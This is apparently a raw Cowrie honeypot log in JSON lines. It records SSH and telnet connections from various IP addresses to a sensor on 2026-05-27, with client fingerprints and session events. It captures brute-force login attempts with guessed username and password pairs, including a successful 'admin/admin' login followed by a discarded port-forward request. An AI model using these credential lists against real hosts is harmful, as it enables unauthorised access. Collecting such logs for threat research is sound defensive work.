AAAAB3NzaC1yc2EAAAADAQABAAACAQC+QDB8ikLPRykfBCTXuzeGFOCzk39uUPqaLTksabVpjr8yRTly1fDonJcv6Nn8QsNj+7cgbaOh5U1W4fAnOUkTkeBjLW5N5nMtDZ53HzaGNo6iZNPov3tDBlKd6R9aBFSNyD/6aMa73teh2rg800XQsDdyRby397Qg9juCyd5T9FaQkQv4xUppjGmXyTN3uSFQbyPLa+W5I5o5lM91sqzx5NmaWKtWxWXrcWo2tjugJHpJaJt+EAYaO53CLurpczNCsH0lBI9OWZt04yl2rRT2Bbl0YKZusRV4Ue24GK4l7PnHDy160Hk2XOF1BW2ivZI9sUfZinzaMLYO3SyQMiHCdZ+rsgnfJN+1Q1RmQpLkkoU9AEcRwWv2sPxY5eoNrYTd5JVDjY/1vv6e1CALhK1XB0Cg7r7FcS9rgsB1W4ct85mny95kzlGuOt6YrbalgaSSXUVCU8KXxS8jtNKuXDxs9NFXPSGVINlJ89Gwi4UOPF/EeyJlnMG4yvYL3RDvVPW5EgmwBhl66TyjX2Y4y5T9U2TuuVjW9Z5412BienDix99QhPOaBetf1Lvia9xCPztE7HTqx72bxKTDYBYRsd3qwR0EFzUb+BTxeQWuD7ftZZ50Ujyyy4LivWeRpwrx/zG9dTnASS7v26zKj5AnQK3wScPxScxFtCt9uS4tQLj8CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:7e:63:f9:c8:5f:91:f9:12:2b:27:d0:a5:6a:6f:97","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:21.160124Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:7e:63:f9:c8:5f:91:f9:12:2b:27:d0:a5:6a:6f:97","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+QDB8ikLPRykfBCTXuzeGFOCzk39uUPqaLTksabVpjr8yRTly1fDonJcv6Nn8QsNj+7cgbaOh5U1W4fAnOUkTkeBjLW5N5nMtDZ53HzaGNo6iZNPov3tDBlKd6R9aBFSNyD/6aMa73teh2rg800XQsDdyRby397Qg9juCyd5T9FaQkQv4xUppjGmXyTN3uSFQbyPLa+W5I5o5lM91sqzx5NmaWKtWxWXrcWo2tjugJHpJaJt+EAYaO53CLurpczNCsH0lBI9OWZt04yl2rRT2Bbl0YKZusRV4Ue24GK4l7PnHDy160Hk2XOF1BW2ivZI9sUfZinzaMLYO3SyQMiHCdZ+rsgnfJN+1Q1RmQpLkkoU9AEcRwWv2sPxY5eoNrYTd5JVDjY/1vv6e1CALhK1XB0Cg7r7FcS9rgsB1W4ct85mny95kzlGuOt6YrbalgaSSXUVCU8KXxS8jtNKuXDxs9NFXPSGVINlJ89Gwi4UOPF/EeyJlnMG4yvYL3RDvVPW5EgmwBhl66TyjX2Y4y5T9U2TuuVjW9Z5412BienDix99QhPOaBetf1Lvia9xCPztE7HTqx72bxKTDYBYRsd3qwR0EFzUb+BTxeQWuD7ftZZ50Ujyyy4LivWeRpwrx/zG9dTnASS7v26zKj5AnQK3wScPxScxFtCt9uS4tQLj8CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:21.164490Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:21.425860Z","src_ip":"45.43.45.254","session":"2c732f4db378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":43330,"dst_ip":"10.17.0.5","dst_port":22,"session":"f840280f8bcc","protocol":"ssh","message":"New connection: 115.135.235.126:43330 (10.17.0.5:22) [session: f840280f8bcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:51.640894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:51.645202Z","src_ip":"115.135.235.126","session":"f840280f8bcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:51.915941Z","src_ip":"115.135.235.126","session":"f840280f8bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21566,"dst_ip":"10.17.0.5","dst_port":22,"session":"eafe98fbdb62","protocol":"ssh","message":"New connection: 87.251.64.176:21566 (10.17.0.5:22) [session: eafe98fbdb62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:52.831740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:52.836915Z","src_ip":"87.251.64.176","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:52.932763Z","src_ip":"87.251.64.176","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxXX1234","message":"login attempt [root/xxXX1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.086773Z","src_ip":"115.135.235.126","session":"f840280f8bcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.173.103.113","src_port":40438,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4c246626bf","protocol":"ssh","message":"New connection: 45.173.103.113:40438 (10.17.0.5:22) [session: 0e4c246626bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.292851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.301338Z","src_ip":"45.173.103.113","session":"0e4c246626bf","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.312404Z","src_ip":"87.251.64.176","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.405818Z","src_ip":"45.173.103.113","session":"0e4c246626bf","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.412140Z","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.509304Z","src_ip":"87.251.64.176","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.607364Z","src_ip":"87.251.64.176","session":"eafe98fbdb62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jmarquez","password":"123456","message":"login attempt [jmarquez/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:53.853343Z","src_ip":"45.173.103.113","session":"0e4c246626bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:54.393646Z","src_ip":"115.135.235.126","session":"f840280f8bcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:09:54.960494Z","src_ip":"45.173.103.113","session":"0e4c246626bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":59192,"dst_ip":"10.17.0.5","dst_port":22,"session":"56740e65777f","protocol":"ssh","message":"New connection: 103.82.132.16:59192 (10.17.0.5:22) [session: 56740e65777f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:24.605508Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:24.611145Z","src_ip":"103.82.132.16","session":"56740e65777f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:24.874770Z","src_ip":"103.82.132.16","session":"56740e65777f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":50382,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5b45db8ed50","protocol":"ssh","message":"New connection: 176.32.39.21:50382 (159.203.135.109:22) [session: d5b45db8ed50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.254448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.260632Z","src_ip":"176.32.39.21","session":"d5b45db8ed50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"175.144.108.242","src_port":42054,"dst_ip":"10.17.0.5","dst_port":23,"session":"1fcfc65e6d04","protocol":"telnet","message":"New connection: 175.144.108.242:42054 (10.17.0.5:23) [session: 1fcfc65e6d04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.307618Z"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.419378Z","src_ip":"176.32.39.21","session":"d5b45db8ed50","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"stalker007","message":"login attempt [root/stalker007] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.645908Z","src_ip":"103.82.132.16","session":"56740e65777f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"depeche","message":"login attempt [root/depeche] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:25.877521Z","src_ip":"176.32.39.21","session":"d5b45db8ed50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:26.908792Z","src_ip":"103.82.132.16","session":"56740e65777f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:27.032637Z","src_ip":"176.32.39.21","session":"d5b45db8ed50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.55289626121521,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:37.860388Z","src_ip":"175.144.108.242","session":"1fcfc65e6d04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":50826,"dst_ip":"10.17.0.5","dst_port":22,"session":"e992fb787da7","protocol":"ssh","message":"New connection: 62.133.63.178:50826 (10.17.0.5:22) [session: e992fb787da7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:42.698924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:42.703833Z","src_ip":"62.133.63.178","session":"e992fb787da7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:42.827893Z","src_ip":"62.133.63.178","session":"e992fb787da7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"21021984","message":"login attempt [root/21021984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:43.210060Z","src_ip":"62.133.63.178","session":"e992fb787da7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:44.338068Z","src_ip":"62.133.63.178","session":"e992fb787da7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":43858,"dst_ip":"159.203.135.109","dst_port":22,"session":"d22bbb820e29","protocol":"ssh","message":"New connection: 38.93.206.2:43858 (159.203.135.109:22) [session: d22bbb820e29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:56.648638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:56.653277Z","src_ip":"38.93.206.2","session":"d22bbb820e29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T07:10:56.705558Z","src_ip":"38.93.206.2","session":"d22bbb820e29","protocol":"ssh"}
